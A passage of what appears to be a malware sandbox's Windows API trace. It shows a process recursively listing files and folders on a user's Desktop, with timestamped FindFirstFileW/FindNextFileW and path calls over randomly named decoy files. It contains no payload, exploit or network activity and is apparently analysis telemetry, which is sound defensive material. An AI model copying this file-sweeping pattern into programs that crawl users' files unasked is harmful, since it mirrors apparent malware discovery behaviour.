ftCreationTime.dwHighDateTime=0x1d98f57, ftLastAccessTime.dwLowDateTime=0x8bb091c0, ftLastAccessTime.dwHighDateTime=0x1d99948, ftLastWriteTime.dwLowDateTime=0x8bb091c0, ftLastWriteTime.dwHighDateTime=0x1d99948, nFileSizeHigh=0x0, nFileSizeLow=0xaf7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="sGHD.mkv", cAlternateFileName="")) returned 1 [0161.738] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16af3770, ftCreationTime.dwHighDateTime=0x1d997ca, ftLastAccessTime.dwLowDateTime=0x8a5f9820, ftLastAccessTime.dwHighDateTime=0x1d99a42, ftLastWriteTime.dwLowDateTime=0x8a5f9820, ftLastWriteTime.dwHighDateTime=0x1d99a42, nFileSizeHigh=0x0, nFileSizeLow=0x9e21, dwReserved0=0x0, dwReserved1=0x0, cFileName="TvcK5iL2grSZw3o4I.swf", cAlternateFileName="TVCK5I~1.SWF")) returned 1 [0161.738] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e014880, ftCreationTime.dwHighDateTime=0x1d99abb, ftLastAccessTime.dwLowDateTime=0xe6ee9c80, ftLastAccessTime.dwHighDateTime=0x1d99c59, ftLastWriteTime.dwLowDateTime=0xe6ee9c80, ftLastWriteTime.dwHighDateTime=0x1d99c59, nFileSizeHigh=0x0, nFileSizeLow=0x108e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="URFiGJb5u RCGpivOCI.rtf", cAlternateFileName="URFIGJ~1.RTF")) returned 1 [0161.739] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63e71d0, ftCreationTime.dwHighDateTime=0x1d99351, ftLastAccessTime.dwLowDateTime=0x305a1d90, ftLastAccessTime.dwHighDateTime=0x1d99435, ftLastWriteTime.dwLowDateTime=0x305a1d90, ftLastWriteTime.dwHighDateTime=0x1d99435, nFileSizeHigh=0x0, nFileSizeLow=0x244b, dwReserved0=0x0, dwReserved1=0x0, cFileName="xqvH7KYn.flv", cAlternateFileName="")) returned 1 [0161.739] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59f221b0, ftCreationTime.dwHighDateTime=0x1d99369, ftLastAccessTime.dwLowDateTime=0x95e510d0, ftLastAccessTime.dwHighDateTime=0x1d993f8, ftLastWriteTime.dwLowDateTime=0x95e510d0, ftLastWriteTime.dwHighDateTime=0x1d993f8, nFileSizeHigh=0x0, nFileSizeLow=0xf520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zp3nQJ5eu.m4a", cAlternateFileName="ZP3NQJ~1.M4A")) returned 1 [0161.739] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0161.739] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0161.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0161.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0161.740] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0161.740] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0161.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0161.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0161.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0161.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0161.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0161.741] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99e79240, ftCreationTime.dwHighDateTime=0x1d99856, ftLastAccessTime.dwLowDateTime=0xa6b5230, ftLastAccessTime.dwHighDateTime=0x1d99d8f, ftLastWriteTime.dwLowDateTime=0xa6b5230, ftLastWriteTime.dwHighDateTime=0x1d99d8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0161.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0161.741] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0161.741] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0161.741] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99e79240, ftCreationTime.dwHighDateTime=0x1d99856, ftLastAccessTime.dwLowDateTime=0xa6b5230, ftLastAccessTime.dwHighDateTime=0x1d99d8f, ftLastWriteTime.dwLowDateTime=0xa6b5230, ftLastWriteTime.dwHighDateTime=0x1d99d8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0161.741] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99e79240, ftCreationTime.dwHighDateTime=0x1d99856, ftLastAccessTime.dwLowDateTime=0xa6b5230, ftLastAccessTime.dwHighDateTime=0x1d99d8f, ftLastWriteTime.dwLowDateTime=0xa6b5230, ftLastWriteTime.dwHighDateTime=0x1d99d8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.741] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695a4c70, ftCreationTime.dwHighDateTime=0x1d9994c, ftLastAccessTime.dwLowDateTime=0xb12c2360, ftLastAccessTime.dwHighDateTime=0x1d9997a, ftLastWriteTime.dwLowDateTime=0xb12c2360, ftLastWriteTime.dwHighDateTime=0x1d9997a, nFileSizeHigh=0x0, nFileSizeLow=0x99c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 KC0ZG1 RMrJoK_gY.png", cAlternateFileName="2KC0ZG~1.PNG")) returned 1 [0161.741] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x182ca880, ftCreationTime.dwHighDateTime=0x1d99a63, ftLastAccessTime.dwLowDateTime=0xe355a970, ftLastAccessTime.dwHighDateTime=0x1d99bb8, ftLastWriteTime.dwLowDateTime=0xe355a970, ftLastWriteTime.dwHighDateTime=0x1d99bb8, nFileSizeHigh=0x0, nFileSizeLow=0xfc61, dwReserved0=0x0, dwReserved1=0x0, cFileName="4o6jjgbzavbWSb6-29.png", cAlternateFileName="4O6JJG~1.PNG")) returned 1 [0161.741] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da1bc20, ftCreationTime.dwHighDateTime=0x1d9920a, ftLastAccessTime.dwLowDateTime=0x350cfc80, ftLastAccessTime.dwHighDateTime=0x1d99ab2, ftLastWriteTime.dwLowDateTime=0x350cfc80, ftLastWriteTime.dwHighDateTime=0x1d99ab2, nFileSizeHigh=0x0, nFileSizeLow=0xc62c, dwReserved0=0x0, dwReserved1=0x0, cFileName="5iFUDWANY.bmp", cAlternateFileName="5IFUDW~1.BMP")) returned 1 [0161.742] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298dae70, ftCreationTime.dwHighDateTime=0x1d9901e, ftLastAccessTime.dwLowDateTime=0x12cf2180, ftLastAccessTime.dwHighDateTime=0x1d99200, ftLastWriteTime.dwLowDateTime=0x12cf2180, ftLastWriteTime.dwHighDateTime=0x1d99200, nFileSizeHigh=0x0, nFileSizeLow=0x71b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRmtCoyPLlLg.jpg", cAlternateFileName="BRMTCO~1.JPG")) returned 1 [0161.742] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ba23c0, ftCreationTime.dwHighDateTime=0x1d992fd, ftLastAccessTime.dwLowDateTime=0x180584d0, ftLastAccessTime.dwHighDateTime=0x1d9976b, ftLastWriteTime.dwLowDateTime=0x180584d0, ftLastWriteTime.dwHighDateTime=0x1d9976b, nFileSizeHigh=0x0, nFileSizeLow=0x48e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BtaCh0Rv1i6GNNdmI.png", cAlternateFileName="BTACH0~1.PNG")) returned 1 [0161.742] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13760980, ftCreationTime.dwHighDateTime=0x1d996da, ftLastAccessTime.dwLowDateTime=0x26a82410, ftLastAccessTime.dwHighDateTime=0x1d99c3a, ftLastWriteTime.dwLowDateTime=0x26a82410, ftLastWriteTime.dwHighDateTime=0x1d99c3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hfTktiwCU", cAlternateFileName="HFTKTI~1")) returned 1 [0161.742] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc060f2f0, ftCreationTime.dwHighDateTime=0x1d998d7, ftLastAccessTime.dwLowDateTime=0xf76c5f80, ftLastAccessTime.dwHighDateTime=0x1d99d66, ftLastWriteTime.dwLowDateTime=0xf76c5f80, ftLastWriteTime.dwHighDateTime=0x1d99d66, nFileSizeHigh=0x0, nFileSizeLow=0x3cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JhXCNVX54s7.png", cAlternateFileName="JHXCNV~1.PNG")) returned 1 [0161.742] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b498b90, ftCreationTime.dwHighDateTime=0x1d99b1c, ftLastAccessTime.dwLowDateTime=0x542ee890, ftLastAccessTime.dwHighDateTime=0x1d99bb0, ftLastWriteTime.dwLowDateTime=0x542ee890, ftLastWriteTime.dwHighDateTime=0x1d99bb0, nFileSizeHigh=0x0, nFileSizeLow=0x116d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUWK.mp3", cAlternateFileName="")) returned 1 [0161.742] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b498b90, ftCreationTime.dwHighDateTime=0x1d99b1c, ftLastAccessTime.dwLowDateTime=0x542ee890, ftLastAccessTime.dwHighDateTime=0x1d99bb0, ftLastWriteTime.dwLowDateTime=0x542ee890, ftLastWriteTime.dwHighDateTime=0x1d99bb0, nFileSizeHigh=0x0, nFileSizeLow=0x116d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUWK.mp3", cAlternateFileName="")) returned 0 [0161.742] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0161.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0161.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0161.742] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99e79240, ftCreationTime.dwHighDateTime=0x1d99856, ftLastAccessTime.dwLowDateTime=0xa6b5230, ftLastAccessTime.dwHighDateTime=0x1d99d8f, ftLastWriteTime.dwLowDateTime=0xa6b5230, ftLastWriteTime.dwHighDateTime=0x1d99d8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.742] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695a4c70, ftCreationTime.dwHighDateTime=0x1d9994c, ftLastAccessTime.dwLowDateTime=0xb12c2360, ftLastAccessTime.dwHighDateTime=0x1d9997a, ftLastWriteTime.dwLowDateTime=0xb12c2360, ftLastWriteTime.dwHighDateTime=0x1d9997a, nFileSizeHigh=0x0, nFileSizeLow=0x99c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 KC0ZG1 RMrJoK_gY.png", cAlternateFileName="2KC0ZG~1.PNG")) returned 1 [0161.743] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x182ca880, ftCreationTime.dwHighDateTime=0x1d99a63, ftLastAccessTime.dwLowDateTime=0xe355a970, ftLastAccessTime.dwHighDateTime=0x1d99bb8, ftLastWriteTime.dwLowDateTime=0xe355a970, ftLastWriteTime.dwHighDateTime=0x1d99bb8, nFileSizeHigh=0x0, nFileSizeLow=0xfc61, dwReserved0=0x0, dwReserved1=0x0, cFileName="4o6jjgbzavbWSb6-29.png", cAlternateFileName="4O6JJG~1.PNG")) returned 1 [0161.743] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da1bc20, ftCreationTime.dwHighDateTime=0x1d9920a, ftLastAccessTime.dwLowDateTime=0x350cfc80, ftLastAccessTime.dwHighDateTime=0x1d99ab2, ftLastWriteTime.dwLowDateTime=0x350cfc80, ftLastWriteTime.dwHighDateTime=0x1d99ab2, nFileSizeHigh=0x0, nFileSizeLow=0xc62c, dwReserved0=0x0, dwReserved1=0x0, cFileName="5iFUDWANY.bmp", cAlternateFileName="5IFUDW~1.BMP")) returned 1 [0161.743] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x298dae70, ftCreationTime.dwHighDateTime=0x1d9901e, ftLastAccessTime.dwLowDateTime=0x12cf2180, ftLastAccessTime.dwHighDateTime=0x1d99200, ftLastWriteTime.dwLowDateTime=0x12cf2180, ftLastWriteTime.dwHighDateTime=0x1d99200, nFileSizeHigh=0x0, nFileSizeLow=0x71b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRmtCoyPLlLg.jpg", cAlternateFileName="BRMTCO~1.JPG")) returned 1 [0161.743] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ba23c0, ftCreationTime.dwHighDateTime=0x1d992fd, ftLastAccessTime.dwLowDateTime=0x180584d0, ftLastAccessTime.dwHighDateTime=0x1d9976b, ftLastWriteTime.dwLowDateTime=0x180584d0, ftLastWriteTime.dwHighDateTime=0x1d9976b, nFileSizeHigh=0x0, nFileSizeLow=0x48e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BtaCh0Rv1i6GNNdmI.png", cAlternateFileName="BTACH0~1.PNG")) returned 1 [0161.743] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13760980, ftCreationTime.dwHighDateTime=0x1d996da, ftLastAccessTime.dwLowDateTime=0x26a82410, ftLastAccessTime.dwHighDateTime=0x1d99c3a, ftLastWriteTime.dwLowDateTime=0x26a82410, ftLastWriteTime.dwHighDateTime=0x1d99c3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hfTktiwCU", cAlternateFileName="HFTKTI~1")) returned 1 [0161.744] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc060f2f0, ftCreationTime.dwHighDateTime=0x1d998d7, ftLastAccessTime.dwLowDateTime=0xf76c5f80, ftLastAccessTime.dwHighDateTime=0x1d99d66, ftLastWriteTime.dwLowDateTime=0xf76c5f80, ftLastWriteTime.dwHighDateTime=0x1d99d66, nFileSizeHigh=0x0, nFileSizeLow=0x3cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JhXCNVX54s7.png", cAlternateFileName="JHXCNV~1.PNG")) returned 1 [0161.744] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b498b90, ftCreationTime.dwHighDateTime=0x1d99b1c, ftLastAccessTime.dwLowDateTime=0x542ee890, ftLastAccessTime.dwHighDateTime=0x1d99bb0, ftLastWriteTime.dwLowDateTime=0x542ee890, ftLastWriteTime.dwHighDateTime=0x1d99bb0, nFileSizeHigh=0x0, nFileSizeLow=0x116d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUWK.mp3", cAlternateFileName="")) returned 1 [0161.744] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0161.744] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0161.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0161.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0161.745] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu")) returned 0x10 [0161.745] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu")) returned 0x10 [0161.745] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0161.745] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", lpFilePart=0x0) returned 0x32 [0161.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea90) returned 1 [0161.745] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0161.745] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", lpFilePart=0x0) returned 0x32 [0161.745] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\*"), lpFindFileData=0x5a2e840 | out: lpFindFileData=0x5a2e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13760980, ftCreationTime.dwHighDateTime=0x1d996da, ftLastAccessTime.dwLowDateTime=0x26a82410, ftLastAccessTime.dwHighDateTime=0x1d99c3a, ftLastWriteTime.dwLowDateTime=0x26a82410, ftLastWriteTime.dwHighDateTime=0x1d99c3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0161.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea90) returned 1 [0161.746] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0161.746] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU", lpFilePart=0x0) returned 0x32 [0161.746] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\*"), lpFindFileData=0x5a2e840 | out: lpFindFileData=0x5a2e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13760980, ftCreationTime.dwHighDateTime=0x1d996da, ftLastAccessTime.dwLowDateTime=0x26a82410, ftLastAccessTime.dwHighDateTime=0x1d99c3a, ftLastWriteTime.dwLowDateTime=0x26a82410, ftLastWriteTime.dwHighDateTime=0x1d99c3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0161.746] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13760980, ftCreationTime.dwHighDateTime=0x1d996da, ftLastAccessTime.dwLowDateTime=0x26a82410, ftLastAccessTime.dwHighDateTime=0x1d99c3a, ftLastWriteTime.dwLowDateTime=0x26a82410, ftLastWriteTime.dwHighDateTime=0x1d99c3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.746] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51fb2620, ftCreationTime.dwHighDateTime=0x1d99290, ftLastAccessTime.dwLowDateTime=0x24c46360, ftLastAccessTime.dwHighDateTime=0x1d999de, ftLastWriteTime.dwLowDateTime=0x24c46360, ftLastWriteTime.dwHighDateTime=0x1d999de, nFileSizeHigh=0x0, nFileSizeLow=0x8532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BXrCK.swf", cAlternateFileName="")) returned 1 [0161.746] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d39420, ftCreationTime.dwHighDateTime=0x1d99ca4, ftLastAccessTime.dwLowDateTime=0xeb72a950, ftLastAccessTime.dwHighDateTime=0x1d99cee, ftLastWriteTime.dwLowDateTime=0xeb72a950, ftLastWriteTime.dwHighDateTime=0x1d99cee, nFileSizeHigh=0x0, nFileSizeLow=0xf56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ck5HbLC73yEMQ3T CJMx.mp3", cAlternateFileName="CK5HBL~1.MP3")) returned 1 [0161.746] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d58c90, ftCreationTime.dwHighDateTime=0x1d99b2f, ftLastAccessTime.dwLowDateTime=0xbb897a50, ftLastAccessTime.dwHighDateTime=0x1d99cf5, ftLastWriteTime.dwLowDateTime=0xbb897a50, ftLastWriteTime.dwHighDateTime=0x1d99cf5, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eq95Xs_2BMkWBb6.xls", cAlternateFileName="EQ95XS~1.XLS")) returned 1 [0161.746] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf847af10, ftCreationTime.dwHighDateTime=0x1d99d8c, ftLastAccessTime.dwLowDateTime=0xd6647f70, ftLastAccessTime.dwHighDateTime=0x1d99da7, ftLastWriteTime.dwLowDateTime=0xd6647f70, ftLastWriteTime.dwHighDateTime=0x1d99da7, nFileSizeHigh=0x0, nFileSizeLow=0xb85f, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAQM1YDYiWSzrJV Z.mkv", cAlternateFileName="YAQM1Y~1.MKV")) returned 1 [0161.746] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf847af10, ftCreationTime.dwHighDateTime=0x1d99d8c, ftLastAccessTime.dwLowDateTime=0xd6647f70, ftLastAccessTime.dwHighDateTime=0x1d99da7, ftLastWriteTime.dwLowDateTime=0xd6647f70, ftLastWriteTime.dwHighDateTime=0x1d99da7, nFileSizeHigh=0x0, nFileSizeLow=0xb85f, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAQM1YDYiWSzrJV Z.mkv", cAlternateFileName="YAQM1Y~1.MKV")) returned 0 [0161.746] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0161.746] SetThreadErrorMode (dwNewMode=0x1, 